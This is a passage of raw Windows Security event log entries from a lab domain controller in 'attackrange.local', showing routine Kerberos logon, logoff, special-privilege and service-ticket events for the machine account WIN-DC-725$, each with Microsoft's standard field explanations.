as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253937 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6D217 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253936 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6CAE1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253935 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x6CAE1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 52794 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253934 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6CAE1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253933 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6C940 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253932 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x6C940 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 52793 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253931 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6C940 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253930 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x6C8C7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D9E964E8-74A4-F919-6727-18269A008687} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253929 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6C8C7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253927 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x6C7B6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D9E964E8-74A4-F919-6727-18269A008687} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253926 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6C7B6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253925 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x6C698 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D9E964E8-74A4-F919-6727-18269A008687} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253924 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6C698 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253923 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x6C4BB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D9E964E8-74A4-F919-6727-18269A008687} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253922 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6C4BB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253921 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6C082 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253920 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6C258 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253918 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x6C27B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D9E964E8-74A4-F919-6727-18269A008687} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253917 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6C27B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253916 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x6C258 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 49153 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253915 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6C258 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253913 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x6C0E5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {D9E964E8-74A4-F919-6727-18269A008687} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253912 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6C0E5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253911 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {3A006024-7B09-2B58-9332-5E8AF1B97F20} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253909 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x6C082 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 49723 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:52:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253908 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x6C082 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - 